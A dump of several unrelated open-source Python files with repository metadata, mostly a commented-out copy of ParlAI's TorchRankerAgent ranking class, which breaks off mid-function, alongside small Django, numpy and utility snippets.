0.0.0.0" } }, } } }, "name": "20", }, }, "name": "34", "type": "ipv4-acl-type", "acl_type": "standard", }, }

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py

Python

bank_import/admin.py

oronibrian/Tenant

42662797db54f8f169a570c920795c487ce3896a

[ "MIT" ]

24

2015-01-28T20:02:27.000Z

2021-10-03T15:29:44.000Z

bank_import/admin.py

oronibrian/Tenant

42662797db54f8f169a570c920795c487ce3896a

[ "MIT" ]

31

2015-01-19T20:51:40.000Z

2018-12-13T14:54:01.000Z

bank_import/admin.py

oronibrian/Tenant

42662797db54f8f169a570c920795c487ce3896a

[ "MIT" ]

20

2015-11-15T14:07:20.000Z

2021-10-03T17:07:42.000Z

from django.contrib import admin from django.utils.translation import ugettext as _ from main import models

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py

Python

ComRISB/pygtool/init_subval_tsolver.py

comscope/comsuite

d51c43cad0d15dc3b4d1f45e7df777cdddaa9d6c

[ "BSD-3-Clause" ]

18

2019-06-15T18:08:21.000Z

2022-01-30T05:01:29.000Z

ComRISB/pygtool/init_subval_tsolver.py

comscope/Comsuite

b80ca9f34c519757d337487c489fb655f7598cc2

[ "BSD-3-Clause" ]

null

ComRISB/pygtool/init_subval_tsolver.py

comscope/Comsuite

b80ca9f34c519757d337487c489fb655f7598cc2

[ "BSD-3-Clause" ]

11

2019-06-05T02:57:55.000Z

2021-12-29T02:54:25.000Z

#!/usr/bin/env python from pyglib.gutz.init_subval_tsolver import init_subval_tsolver init_subval_tsolver()

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py

Python

course-material/platform-services/analysis-service/utils/helpers.py

estensen/spacemaker-docker-kubernetes-course

bc0e03ed11a227b74c0457241fb6c48c8f8ada3c

[ "MIT" ]

null

course-material/platform-services/analysis-service/utils/helpers.py

estensen/spacemaker-docker-kubernetes-course

bc0e03ed11a227b74c0457241fb6c48c8f8ada3c

[ "MIT" ]

null

course-material/platform-services/analysis-service/utils/helpers.py

estensen/spacemaker-docker-kubernetes-course

bc0e03ed11a227b74c0457241fb6c48c8f8ada3c

[ "MIT" ]

null

import numpy as np def get_polygon_cords(building_data): return np.array( [ [building_data["x"], building_data["y"]], [building_data["x"] + building_data["dx"], building_data["y"]], [ building_data["x"] + building_data["dx"], building_data["y"] + building_data["dy"], ], [building_data["x"], building_data["y"] + building_data["dy"]], ] )

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py

Python

Bot/1_Find/Logic/_List_Of_Stocks.py

ReedGraff/High-Low

c8ba0339d7818e344cacf9a73a83d24dc539c2ca

[ "MIT" ]

1

2022-01-06T05:50:53.000Z

Bot/1_Find/Logic/_List_Of_Stocks.py

ReedGraff/High-Low

c8ba0339d7818e344cacf9a73a83d24dc539c2ca

[ "MIT" ]

null

Bot/1_Find/Logic/_List_Of_Stocks.py

ReedGraff/High-Low

c8ba0339d7818e344cacf9a73a83d24dc539c2ca

[ "MIT" ]

null

def List_Of_Stocks(self): return 0

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null

0

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16724876d55904e397e0997a494911b83e46b50f

140

py

Python

django/core/views.py

shamsow/django-react-homemaker

8bfc6de6a7bcb838069904af8bf8f2e1f8671297

[ "MIT", "Unlicense" ]

null

django/core/views.py

shamsow/django-react-homemaker

8bfc6de6a7bcb838069904af8bf8f2e1f8671297

[ "MIT", "Unlicense" ]

14

2021-09-07T13:56:02.000Z

2022-01-19T13:13:54.000Z

django/core/views.py

shamsow/django-react-homemaker

8bfc6de6a7bcb838069904af8bf8f2e1f8671297

[ "MIT", "Unlicense" ]

null

from django.shortcuts import reverse, HttpResponseRedirect def default_view(request): return HttpResponseRedirect(reverse('admin:index'))

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112

py

Python

stachrl/utils/clearscreen.py

christophstach/reinforcement-learning-klutzy-back-phoebe

7fdf557f51ea29038a193fbfc6b63261e5fe4685

[ "MIT" ]

null

stachrl/utils/clearscreen.py

christophstach/reinforcement-learning-klutzy-back-phoebe

7fdf557f51ea29038a193fbfc6b63261e5fe4685

[ "MIT" ]

null

stachrl/utils/clearscreen.py

christophstach/reinforcement-learning-klutzy-back-phoebe

7fdf557f51ea29038a193fbfc6b63261e5fe4685

[ "MIT" ]

null

import os def clearscreen(): # os.system('cls' if os.name == 'nt' else 'clear') print('\033[H\033[J')

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1

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6

168632ad4b620ff40d22b804c3f5abc6dc67669a

41

py

Python

semantic/semantic/logging/__init__.py

VladimirSiv/semantic-search-system

96b6581f191aacb1157b1408b2726e317ddc2c49

[ "MIT" ]

1

2021-07-01T08:53:46.000Z

front/front/logging/__init__.py

VladimirSiv/semantic-search-system

96b6581f191aacb1157b1408b2726e317ddc2c49

[ "MIT" ]

null

front/front/logging/__init__.py

VladimirSiv/semantic-search-system

96b6581f191aacb1157b1408b2726e317ddc2c49

[ "MIT" ]

1

2021-12-29T01:18:38.000Z

from .logger import logger, logger_setup

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6

169f0889ffbfe00c62e34f90a9999cbcc186d301

27

py

Python

mail_fix_553/__init__.py

aaltinisik/mail-addons

d829c1d9e4320013ab557c34d6d79b956ebd7349

[ "MIT" ]

1

2020-12-07T19:52:33.000Z

mail_fix_553/__init__.py

trojikman/mail-addons

193caa9af759700a588cdec8910ccbad05b59104

[ "MIT" ]

1

2019-03-15T14:45:46.000Z

mail_fix_553/__init__.py

trojikman/mail-addons

193caa9af759700a588cdec8910ccbad05b59104

[ "MIT" ]

1

2021-08-28T11:18:33.000Z

from . import mail_fix_553

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6

bcc17afeb54e1fbacd7538e1b12f01ca71028e6a

83,822

py

Python

parlai/core/torch_ranker_agent.py

SeolhwaLee/Parlai_ver2

6f43d1929cab26e07a2f384bc5f731714ddb54d7

[ "MIT" ]

1

2020-08-25T03:46:02.000Z

parlai/core/torch_ranker_agent.py

sseol11/Parlai_ver2

6f43d1929cab26e07a2f384bc5f731714ddb54d7

[ "MIT" ]

null

parlai/core/torch_ranker_agent.py

sseol11/Parlai_ver2

6f43d1929cab26e07a2f384bc5f731714ddb54d7

[ "MIT" ]

null

# #!/usr/bin/env python3 # # # Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # # LICENSE file in the root directory of this source tree. # # """ # Torch Ranker Agents provide functionality for building ranking models. # # See the TorchRankerAgent tutorial for examples. # """ # # from typing import Dict, Any # from abc import abstractmethod # from itertools import islice # import os # from tqdm import tqdm # import random # # import torch # # # from parlai.core.opt import Opt # from parlai.utils.distributed import is_distributed # from parlai.core.torch_agent import TorchAgent, Output # from parlai.utils.misc import warn_once # from parlai.utils.torch import padded_3d # from parlai.core.metrics import AverageMetric # # # class TorchRankerAgent(TorchAgent): # """ # Abstract TorchRankerAgent class; only meant to be extended. # # TorchRankerAgents aim to provide convenient functionality for building ranking # models. This includes: # # - Training/evaluating on candidates from a variety of sources. # - Computing hits@1, hits@5, mean reciprical rank (MRR), and other metrics. # - Caching representations for fast runtime when deploying models to production. # """ # # @classmethod # def add_cmdline_args(cls, argparser): # """ # Add CLI args. # """ # super(TorchRankerAgent, cls).add_cmdline_args(argparser) # agent = argparser.add_argument_group('TorchRankerAgent') # agent.add_argument( # '-cands', # '--candidates', # type=str, # default='inline', # choices=['batch', 'inline', 'fixed', 'batch-all-cands'], # help='The source of candidates during training ' # '(see TorchRankerAgent._build_candidates() for details).', # ) # agent.add_argument( # '-ecands', # '--eval-candidates', # type=str, # default='inline', # choices=['batch', 'inline', 'fixed', 'vocab', 'batch-all-cands'], # help='The source of candidates during evaluation (defaults to the same' # 'value as --candidates if no flag is given)', # ) # agent.add_argument( # '--repeat-blocking-heuristic', # type='bool', # default=True, # help='Block repeating previous utterances. ' # 'Helpful for many models that score repeats highly, so switched ' # 'on by default.', # ) # agent.add_argument( # '-fcp', # '--fixed-candidates-path', # type=str, # help='A text file of fixed candidates to use for all examples, one ' # 'candidate per line', # ) # agent.add_argument( # '--fixed-candidate-vecs', # type=str, # default='reuse', # help='One of "reuse", "replace", or a path to a file with vectors ' # 'corresponding to the candidates at --fixed-candidates-path. ' # 'The default path is a /path/to/model-file.<cands_name>, where ' # '<cands_name> is the name of the file (not the full path) passed by ' # 'the flag --fixed-candidates-path. By default, this file is created ' # 'once and reused. To replace it, use the "replace" option.', # ) # agent.add_argument( # '--encode-candidate-vecs', # type='bool', # default=True, # help='Cache and save the encoding of the candidate vecs. This ' # 'might be used when interacting with the model in real time ' # 'or evaluating on fixed candidate set when the encoding of ' # 'the candidates is independent of the input.', # ) # agent.add_argument( # '--encode-candidate-vecs-batchsize', # type=int, # default=256, # hidden=True, # help='Batchsize when encoding candidate vecs', # ) # agent.add_argument( # '--init-model', # type=str, # default=None, # help='Initialize model with weights from this file.', # ) # agent.add_argument( # '--train-predict', # type='bool', # default=False, # help='Get predictions and calculate mean rank during the train ' # 'step. Turning this on may slow down training.', # ) # agent.add_argument( # '--cap-num-predictions', # type=int, # default=100, # help='Limit to the number of predictions in output.text_candidates', # ) # agent.add_argument( # '--ignore-bad-candidates', # type='bool', # default=False, # help='Ignore examples for which the label is not present in the ' # 'label candidates. Default behavior results in RuntimeError. ', # ) # agent.add_argument( # '--rank-top-k', # type=int, # default=-1, # help='Ranking returns the top k results of k > 0, otherwise sorts every ' # 'single candidate according to the ranking.', # ) # agent.add_argument( # '--inference', # choices={'max', 'topk'}, # default='max', # help='Final response output algorithm', # ) # agent.add_argument( # '--topk', # type=int, # default=5, # help='K used in Top K sampling inference, when selected', # ) # # def __init__(self, opt: Opt, shared=None): # # Must call _get_init_model() first so that paths are updated if necessary # # (e.g., a .dict file) # init_model, is_finetune = self._get_init_model(opt, shared) # opt['rank_candidates'] = True # super().__init__(opt, shared) # # states: Dict[str, Any] # if shared: # states = {} # else: # # Note: we cannot change the type of metrics ahead of time, so you # # should correctly initialize to floats or ints here # self.criterion = self.build_criterion() # self.model = self.build_model() # if self.model is None or self.criterion is None: # raise AttributeError( # 'build_model() and build_criterion() need to return the model or criterion' # ) # if self.use_cuda: # self.model.cuda() # self.criterion.cuda() # # print("Total parameters: {}".format(self._total_parameters())) # print("Trainable parameters: {}".format(self._trainable_parameters())) # # if self.fp16: # self.model = self.model.half() # if init_model: # print('Loading existing model parameters from ' + init_model) # states = self.load(init_model) # else: # states = {} # # self.rank_top_k = opt.get('rank_top_k', -1) # # # Vectorize and save fixed/vocab candidates once upfront if applicable # self.set_fixed_candidates(shared) # self.set_vocab_candidates(shared) # # if shared: # # We don't use get here because hasattr is used on optimizer later. # if 'optimizer' in shared: # self.optimizer = shared['optimizer'] # else: # optim_params = [p for p in self.model.parameters() if p.requires_grad] # self.init_optim( # optim_params, states.get('optimizer'), states.get('optimizer_type') # ) # self.build_lr_scheduler(states, hard_reset=is_finetune) # # if shared is None and is_distributed(): # self.model = torch.nn.parallel.DistributedDataParallel( # self.model, device_ids=[self.opt['gpu']], broadcast_buffers=False # ) # # def build_criterion(self): # """ # Construct and return the loss function. # # By default torch.nn.CrossEntropyLoss. # """ # return torch.nn.CrossEntropyLoss(reduction='none') # # def set_interactive_mode(self, mode, shared=False): # super().set_interactive_mode(mode, shared) # self.candidates = self.opt['candidates'] # self.encode_candidate_vecs = self.opt['encode_candidate_vecs'] # if mode: # self.eval_candidates = 'fixed' # self.ignore_bad_candidates = True # self.fixed_candidates_path = self.opt['fixed_candidates_path'] # if self.fixed_candidates_path is None or self.fixed_candidates_path == '': # # Attempt to get a standard candidate set for the given task # path = self.get_task_candidates_path() # if path: # if not shared: # print("[setting fixed_candidates path to: " + path + " ]") # self.fixed_candidates_path = path # else: # self.eval_candidates = self.opt['eval_candidates'] # self.ignore_bad_candidates = self.opt.get('ignore_bad_candidates', False) # self.fixed_candidates_path = self.opt['fixed_candidates_path'] # # def get_task_candidates_path(self): # path = self.opt['model_file'] + '.cands-' + self.opt['task'] + '.cands' # if os.path.isfile(path) and self.opt['fixed_candidate_vecs'] == 'reuse': # return path # print("[ *** building candidates file as they do not exist: " + path + ' *** ]') # from parlai.scripts.build_candidates import build_cands # from copy import deepcopy # # opt = deepcopy(self.opt) # opt['outfile'] = path # opt['datatype'] = 'train:evalmode' # opt['interactive_task'] = False # opt['batchsize'] = 1 # build_cands(opt) # return path # # @abstractmethod # def score_candidates(self, batch, cand_vecs, cand_encs=None): # """ # Given a batch and candidate set, return scores (for ranking). # # :param Batch batch: # a Batch object (defined in torch_agent.py) # :param LongTensor cand_vecs: # padded and tokenized candidates # :param FloatTensor cand_encs: # encoded candidates, if these are passed into the function (in cases # where we cache the candidate encodings), you do not need to call # self.model on cand_vecs # """ # pass # # def _maybe_invalidate_fixed_encs_cache(self): # if self.candidates != 'fixed': # self.fixed_candidate_encs = None # # def _get_batch_train_metrics(self, scores): # """ # Get fast metrics calculations if we train with batch candidates. # # Specifically, calculate accuracy ('train_accuracy'), average rank, and mean # reciprocal rank. # """ # batchsize = scores.size(0) # # get accuracy # targets = scores.new_empty(batchsize).long() # targets = torch.arange(batchsize, out=targets) # nb_ok = (scores.max(dim=1)[1] == targets).float() # self.record_local_metric('train_accuracy', AverageMetric.many(nb_ok)) # # calculate mean_rank # above_dot_prods = scores - scores.diag().view(-1, 1) # ranks = (above_dot_prods > 0).float().sum(dim=1) + 1 # mrr = 1.0 / (ranks + 0.00001) # self.record_local_metric('rank', AverageMetric.many(ranks)) # self.record_local_metric('mrr', AverageMetric.many(mrr)) # # def _get_train_preds(self, scores, label_inds, cands, cand_vecs): # """ # Return predictions from training. # """ # # TODO: speed these calculations up # batchsize = scores.size(0) # if self.rank_top_k > 0: # _, ranks = scores.topk( # min(self.rank_top_k, scores.size(1)), 1, largest=True # ) # else: # _, ranks = scores.sort(1, descending=True) # ranks_m = [] # mrrs_m = [] # for b in range(batchsize): # rank = (ranks[b] == label_inds[b]).nonzero() # rank = rank.item() if len(rank) == 1 else scores.size(1) # ranks_m.append(1 + rank) # mrrs_m.append(1.0 / (1 + rank)) # self.record_local_metric('rank', AverageMetric.many(ranks_m)) # self.record_local_metric('mrr', AverageMetric.many(mrrs_m)) # # ranks = ranks.cpu() # # Here we get the top prediction for each example, but do not # # return the full ranked list for the sake of training speed # preds = [] # for i, ordering in enumerate(ranks): # if cand_vecs.dim() == 2: # num cands x max cand length # cand_list = cands # elif cand_vecs.dim() == 3: # batchsize x num cands x max cand length # cand_list = cands[i] # if len(ordering) != len(cand_list): # # We may have added padded cands to fill out the batch; # # Here we break after finding the first non-pad cand in the # # ranked list # for x in ordering: # if x < len(cand_list): # preds.append(cand_list[x]) # break # else: # preds.append(cand_list[ordering[0]]) # # return Output(preds) # # def is_valid(self, obs): # """ # Override from TorchAgent. # # Check to see if label candidates contain the label. # """ # if not self.ignore_bad_candidates: # return super().is_valid(obs) # # if not super().is_valid(obs): # return False # # # skip examples for which the set of label candidates do not # # contain the label # if 'labels_vec' in obs and 'label_candidates_vecs' in obs: # cand_vecs = obs['label_candidates_vecs'] # label_vec = obs['labels_vec'] # matches = [x for x in cand_vecs if torch.equal(x, label_vec)] # if len(matches) == 0: # warn_once( # 'At least one example has a set of label candidates that ' # 'does not contain the label.' # ) # return False # # return True # # def train_step(self, batch): # """ # Train on a single batch of examples. # """ # self._maybe_invalidate_fixed_encs_cache() # if batch.text_vec is None and batch.image is None: # return # self.model.train() # self.zero_grad() # # cands, cand_vecs, label_inds = self._build_candidates( # batch, source=self.candidates, mode='train' # ) # try: # scores = self.score_candidates(batch, cand_vecs) # loss = self.criterion(scores, label_inds) # self.record_local_metric('mean_loss', AverageMetric.many(loss)) # loss = loss.mean() # self.backward(loss) # self.update_params() # except RuntimeError as e: # # catch out of memory exceptions during fwd/bck (skip batch) # if 'out of memory' in str(e): # print( # '| WARNING: ran out of memory, skipping batch. ' # 'if this happens frequently, decrease batchsize or ' # 'truncate the inputs to the model.' # ) # return Output() # else: # raise e # # # Get train predictions # if self.candidates == 'batch': # self._get_batch_train_metrics(scores) # return Output() # if not self.opt.get('train_predict', False): # warn_once( # "Some training metrics are omitted for speed. Set the flag " # "`--train-predict` to calculate train metrics." # ) # return Output() # return self._get_train_preds(scores, label_inds, cands, cand_vecs) # # def eval_step(self, batch): # """ # Evaluate a single batch of examples. # """ # if batch.text_vec is None and batch.image is None: # return # batchsize = ( # batch.text_vec.size(0) # if batch.text_vec is not None # else batch.image.size(0) # ) # self.model.eval() # # cands, cand_vecs, label_inds = self._build_candidates( # batch, source=self.eval_candidates, mode='eval' # ) # # cand_encs = None # if self.encode_candidate_vecs and self.eval_candidates in ['fixed', 'vocab']: # # if we cached candidate encodings for a fixed list of candidates, # # pass those into the score_candidates function # if self.fixed_candidate_encs is None: # self.fixed_candidate_encs = self._make_candidate_encs( # cand_vecs # ).detach() # if self.eval_candidates == 'fixed': # cand_encs = self.fixed_candidate_encs # elif self.eval_candidates == 'vocab': # cand_encs = self.vocab_candidate_encs # # scores = self.score_candidates(batch, cand_vecs, cand_encs=cand_encs) # if self.rank_top_k > 0: # _, ranks = scores.topk( # min(self.rank_top_k, scores.size(1)), 1, largest=True # ) # else: # _, ranks = scores.sort(1, descending=True) # # # Update metrics # if label_inds is not None: # loss = self.criterion(scores, label_inds) # self.record_local_metric('loss', AverageMetric.many(loss)) # ranks_m = [] # mrrs_m = [] # for b in range(batchsize): # rank = (ranks[b] == label_inds[b]).nonzero() # rank = rank.item() if len(rank) == 1 else scores.size(1) # ranks_m.append(1 + rank) # mrrs_m.append(1.0 / (1 + rank)) # self.record_local_metric('rank', AverageMetric.many(ranks_m)) # self.record_local_metric('mrr', AverageMetric.many(mrrs_m)) # # ranks = ranks.cpu() # max_preds = self.opt['cap_num_predictions'] # cand_preds = [] # for i, ordering in enumerate(ranks): # if cand_vecs.dim() == 2: # cand_list = cands # elif cand_vecs.dim() == 3: # cand_list = cands[i] # # using a generator instead of a list comprehension allows # # to cap the number of elements. # cand_preds_generator = ( # cand_list[rank] for rank in ordering if rank < len(cand_list) # ) # cand_preds.append(list(islice(cand_preds_generator, max_preds))) # # if ( # self.opt.get('repeat_blocking_heuristic', True) # and self.eval_candidates == 'fixed' # ): # cand_preds = self.block_repeats(cand_preds) # # if self.opt.get('inference', 'max') == 'max': # preds = [cand_preds[i][0] for i in range(batchsize)] # else: # # Top-k inference. # preds = [] # for i in range(batchsize): # preds.append(random.choice(cand_preds[i][0 : self.opt['topk']])) # # return Output(preds, cand_preds) # # def block_repeats(self, cand_preds): # """ # Heuristic to block a model repeating a line from the history. # """ # history_strings = [] # for h in self.history.history_raw_strings: # # Heuristic: Block any given line in the history, splitting by '\n'. # history_strings.extend(h.split('\n')) # # new_preds = [] # for cp in cand_preds: # np = [] # for c in cp: # if c not in history_strings: # np.append(c) # new_preds.append(np) # return new_preds # # def _set_label_cands_vec(self, *args, **kwargs): # """ # Set the 'label_candidates_vec' field in the observation. # # Useful to override to change vectorization behavior. # """ # obs = args[0] # if 'labels' in obs: # cands_key = 'candidates' # else: # cands_key = 'eval_candidates' # if self.opt[cands_key] not in ['inline', 'batch-all-cands']: # # vectorize label candidates if and only if we are using inline # # candidates # return obs # return super()._set_label_cands_vec(*args, **kwargs) # # def _build_candidates(self, batch, source, mode): # """ # Build a candidate set for this batch. # # :param batch: # a Batch object (defined in torch_agent.py) # :param source: # the source from which candidates should be built, one of # ['batch', 'batch-all-cands', 'inline', 'fixed'] # :param mode: # 'train' or 'eval' # # :return: tuple of tensors (label_inds, cands, cand_vecs) # # label_inds: A [bsz] LongTensor of the indices of the labels for each # example from its respective candidate set # cands: A [num_cands] list of (text) candidates # OR a [batchsize] list of such lists if source=='inline' # cand_vecs: A padded [num_cands, seqlen] LongTensor of vectorized candidates # OR a [batchsize, num_cands, seqlen] LongTensor if source=='inline' # # Possible sources of candidates: # # * batch: the set of all labels in this batch # Use all labels in the batch as the candidate set (with all but the # example's label being treated as negatives). # Note: with this setting, the candidate set is identical for all # examples in a batch. This option may be undesirable if it is possible # for duplicate labels to occur in a batch, since the second instance of # the correct label will be treated as a negative. # * batch-all-cands: the set of all candidates in this batch # Use all candidates in the batch as candidate set. # Note 1: This can result in a very large number of candidates. # Note 2: In this case we will deduplicate candidates. # Note 3: just like with 'batch' the candidate set is identical # for all examples in a batch. # * inline: batch_size lists, one list per example # If each example comes with a list of possible candidates, use those. # Note: With this setting, each example will have its own candidate set. # * fixed: one global candidate list, provided in a file from the user # If self.fixed_candidates is not None, use a set of fixed candidates for # all examples. # Note: this setting is not recommended for training unless the # universe of possible candidates is very small. # * vocab: one global candidate list, extracted from the vocabulary with the # exception of self.NULL_IDX. # """ # label_vecs = batch.label_vec # [bsz] list of lists of LongTensors # label_inds = None # batchsize = ( # batch.text_vec.size(0) # if batch.text_vec is not None # else batch.image.size(0) # ) # # if label_vecs is not None: # assert label_vecs.dim() == 2 # # if source == 'batch': # warn_once( # '[ Executing {} mode with batch labels as set of candidates. ]' # ''.format(mode) # ) # if batchsize == 1: # warn_once( # "[ Warning: using candidate source 'batch' and observed a " # "batch of size 1. This may be due to uneven batch sizes at " # "the end of an epoch. ]" # ) # if label_vecs is None: # raise ValueError( # "If using candidate source 'batch', then batch.label_vec cannot be " # "None." # ) # # cands = batch.labels # cand_vecs = label_vecs # label_inds = label_vecs.new_tensor(range(batchsize)) # # elif source == 'batch-all-cands': # warn_once( # '[ Executing {} mode with all candidates provided in the batch ]' # ''.format(mode) # ) # if batch.candidate_vecs is None: # raise ValueError( # "If using candidate source 'batch-all-cands', then batch." # "candidate_vecs cannot be None. If your task does not have " # "inline candidates, consider using one of " # "--{m}={{'batch','fixed','vocab'}}." # "".format(m='candidates' if mode == 'train' else 'eval-candidates') # ) # # initialize the list of cands with the labels # cands = [] # all_cands_vecs = [] # # dictionary used for deduplication # cands_to_id = {} # for i, cands_for_sample in enumerate(batch.candidates): # for j, cand in enumerate(cands_for_sample): # if cand not in cands_to_id: # cands.append(cand) # cands_to_id[cand] = len(cands_to_id) # all_cands_vecs.append(batch.candidate_vecs[i][j]) # cand_vecs, _ = self._pad_tensor(all_cands_vecs) # label_inds = label_vecs.new_tensor( # [cands_to_id[label] for label in batch.labels] # ) # # elif source == 'inline': # warn_once( # '[ Executing {} mode with provided inline set of candidates ]' # ''.format(mode) # ) # if batch.candidate_vecs is None: # raise ValueError( # "If using candidate source 'inline', then batch.candidate_vecs " # "cannot be None. If your task does not have inline candidates, " # "consider using one of --{m}={{'batch','fixed','vocab'}}." # "".format(m='candidates' if mode == 'train' else 'eval-candidates') # ) # # cands = batch.candidates # cand_vecs = padded_3d( # batch.candidate_vecs, # self.NULL_IDX, # use_cuda=self.use_cuda, # fp16friendly=self.fp16, # ) # if label_vecs is not None: # label_inds = label_vecs.new_empty((batchsize)) # bad_batch = False # for i, label_vec in enumerate(label_vecs): # label_vec_pad = label_vec.new_zeros(cand_vecs[i].size(1)).fill_( # self.NULL_IDX # ) # if cand_vecs[i].size(1) < len(label_vec): # label_vec = label_vec[0 : cand_vecs[i].size(1)] # label_vec_pad[0 : label_vec.size(0)] = label_vec # label_inds[i] = self._find_match(cand_vecs[i], label_vec_pad) # if label_inds[i] == -1: # bad_batch = True # if bad_batch: # if self.ignore_bad_candidates and not self.is_training: # label_inds = None # else: # raise RuntimeError( # 'At least one of your examples has a set of label candidates ' # 'that does not contain the label. To ignore this error ' # 'set `--ignore-bad-candidates True`.' # ) # # elif source == 'fixed': # if self.fixed_candidates is None: # raise ValueError( # "If using candidate source 'fixed', then you must provide the path " # "to a file of candidates with the flag --fixed-candidates-path or " # "the name of a task with --fixed-candidates-task." # ) # warn_once( # "[ Executing {} mode with a common set of fixed candidates " # "(n = {}). ]".format(mode, len(self.fixed_candidates)) # ) # # cands = self.fixed_candidates # cand_vecs = self.fixed_candidate_vecs # # if label_vecs is not None: # label_inds = label_vecs.new_empty((batchsize)) # bad_batch = False # for batch_idx, label_vec in enumerate(label_vecs): # max_c_len = cand_vecs.size(1) # label_vec_pad = label_vec.new_zeros(max_c_len).fill_(self.NULL_IDX) # if max_c_len < len(label_vec): # label_vec = label_vec[0:max_c_len] # label_vec_pad[0 : label_vec.size(0)] = label_vec # label_inds[batch_idx] = self._find_match(cand_vecs, label_vec_pad) # if label_inds[batch_idx] == -1: # bad_batch = True # if bad_batch: # if self.ignore_bad_candidates and not self.is_training: # label_inds = None # else: # raise RuntimeError( # 'At least one of your examples has a set of label candidates ' # 'that does not contain the label. To ignore this error ' # 'set `--ignore-bad-candidates True`.' # ) # # elif source == 'vocab': # warn_once( # '[ Executing {} mode with tokens from vocabulary as candidates. ]' # ''.format(mode) # ) # cands = self.vocab_candidates # cand_vecs = self.vocab_candidate_vecs # # NOTE: label_inds is None here, as we will not find the label in # # the set of vocab candidates # else: # raise Exception("Unrecognized source: %s" % source) # # return (cands, cand_vecs, label_inds) # # @staticmethod # def _find_match(cand_vecs, label_vec): # matches = ((cand_vecs == label_vec).sum(1) == cand_vecs.size(1)).nonzero() # if len(matches) > 0: # return matches[0] # return -1 # # def share(self): # """ # Share model parameters. # """ # shared = super().share() # shared['fixed_candidates'] = self.fixed_candidates # shared['fixed_candidate_vecs'] = self.fixed_candidate_vecs # shared['fixed_candidate_encs'] = self.fixed_candidate_encs # shared['num_fixed_candidates'] = self.num_fixed_candidates # shared['vocab_candidates'] = self.vocab_candidates # shared['vocab_candidate_vecs'] = self.vocab_candidate_vecs # shared['vocab_candidate_encs'] = self.vocab_candidate_encs # shared['optimizer'] = self.optimizer # return shared # # def set_vocab_candidates(self, shared): # """ # Load the tokens from the vocab as candidates. # # self.vocab_candidates will contain a [num_cands] list of strings # self.vocab_candidate_vecs will contain a [num_cands, 1] LongTensor # """ # if shared: # self.vocab_candidates = shared['vocab_candidates'] # self.vocab_candidate_vecs = shared['vocab_candidate_vecs'] # self.vocab_candidate_encs = shared['vocab_candidate_encs'] # else: # if 'vocab' in (self.opt['candidates'], self.opt['eval_candidates']): # cands = [] # vecs = [] # for ind in range(1, len(self.dict)): # cands.append(self.dict.ind2tok[ind]) # vecs.append(ind) # self.vocab_candidates = cands # self.vocab_candidate_vecs = torch.LongTensor(vecs).unsqueeze(1) # print( # "[ Loaded fixed candidate set (n = {}) from vocabulary ]" # "".format(len(self.vocab_candidates)) # ) # if self.use_cuda: # self.vocab_candidate_vecs = self.vocab_candidate_vecs.cuda() # # if self.encode_candidate_vecs: # # encode vocab candidate vecs # self.vocab_candidate_encs = self._make_candidate_encs( # self.vocab_candidate_vecs # ) # if self.use_cuda: # self.vocab_candidate_encs = self.vocab_candidate_encs.cuda() # if self.fp16: # self.vocab_candidate_encs = self.vocab_candidate_encs.half() # else: # self.vocab_candidate_encs = self.vocab_candidate_encs.float() # else: # self.vocab_candidate_encs = None # else: # self.vocab_candidates = None # self.vocab_candidate_vecs = None # self.vocab_candidate_encs = None # # def set_fixed_candidates(self, shared): # """ # Load a set of fixed candidates and their vectors (or vectorize them here). # # self.fixed_candidates will contain a [num_cands] list of strings # self.fixed_candidate_vecs will contain a [num_cands, seq_len] LongTensor # # See the note on the --fixed-candidate-vecs flag for an explanation of the # 'reuse', 'replace', or path options. # # Note: TorchRankerAgent by default converts candidates to vectors by vectorizing # in the common sense (i.e., replacing each token with its index in the # dictionary). If a child model wants to additionally perform encoding, it can # overwrite the vectorize_fixed_candidates() method to produce encoded vectors # instead of just vectorized ones. # """ # if shared: # self.fixed_candidates = shared['fixed_candidates'] # self.fixed_candidate_vecs = shared['fixed_candidate_vecs'] # self.fixed_candidate_encs = shared['fixed_candidate_encs'] # self.num_fixed_candidates = shared['num_fixed_candidates'] # else: # self.num_fixed_candidates = 0 # opt = self.opt # cand_path = self.fixed_candidates_path # if 'fixed' in (self.candidates, self.eval_candidates): # if not cand_path: # # Attempt to get a standard candidate set for the given task # path = self.get_task_candidates_path() # if path: # print("[setting fixed_candidates path to: " + path + " ]") # self.fixed_candidates_path = path # cand_path = self.fixed_candidates_path # # Load candidates # print("[ Loading fixed candidate set from {} ]".format(cand_path)) # with open(cand_path, 'r', encoding='utf-8') as f: # cands = [line.strip() for line in f.readlines()] # # Load or create candidate vectors # if os.path.isfile(self.opt['fixed_candidate_vecs']): # vecs_path = opt['fixed_candidate_vecs'] # vecs = self.load_candidates(vecs_path) # else: # setting = self.opt['fixed_candidate_vecs'] # model_dir, model_file = os.path.split(self.opt['model_file']) # model_name = os.path.splitext(model_file)[0] # cands_name = os.path.splitext(os.path.basename(cand_path))[0] # vecs_path = os.path.join( # model_dir, '.'.join([model_name, cands_name, 'vecs']) # ) # if setting == 'reuse' and os.path.isfile(vecs_path): # vecs = self.load_candidates(vecs_path) # else: # setting == 'replace' OR generating for the first time # vecs = self._make_candidate_vecs(cands) # self._save_candidates(vecs, vecs_path) # # self.fixed_candidates = cands # self.num_fixed_candidates = len(self.fixed_candidates) # self.fixed_candidate_vecs = vecs # if self.use_cuda: # self.fixed_candidate_vecs = self.fixed_candidate_vecs.cuda() # # if self.encode_candidate_vecs: # # candidate encodings are fixed so set them up now # enc_path = os.path.join( # model_dir, '.'.join([model_name, cands_name, 'encs']) # ) # if setting == 'reuse' and os.path.isfile(enc_path): # encs = self.load_candidates(enc_path, cand_type='encodings') # else: # encs = self._make_candidate_encs(self.fixed_candidate_vecs) # self._save_candidates( # encs, path=enc_path, cand_type='encodings' # ) # self.fixed_candidate_encs = encs # if self.use_cuda: # self.fixed_candidate_encs = self.fixed_candidate_encs.cuda() # if self.fp16: # self.fixed_candidate_encs = self.fixed_candidate_encs.half() # else: # self.fixed_candidate_encs = self.fixed_candidate_encs.float() # else: # self.fixed_candidate_encs = None # # else: # self.fixed_candidates = None # self.fixed_candidate_vecs = None # self.fixed_candidate_encs = None # # def load_candidates(self, path, cand_type='vectors'): # """ # Load fixed candidates from a path. # """ # print("[ Loading fixed candidate set {} from {} ]".format(cand_type, path)) # return torch.load(path, map_location=lambda cpu, _: cpu) # # def _make_candidate_vecs(self, cands): # """ # Prebuild cached vectors for fixed candidates. # """ # cand_batches = [cands[i : i + 512] for i in range(0, len(cands), 512)] # print( # "[ Vectorizing fixed candidate set ({} batch(es) of up to 512) ]" # "".format(len(cand_batches)) # ) # cand_vecs = [] # 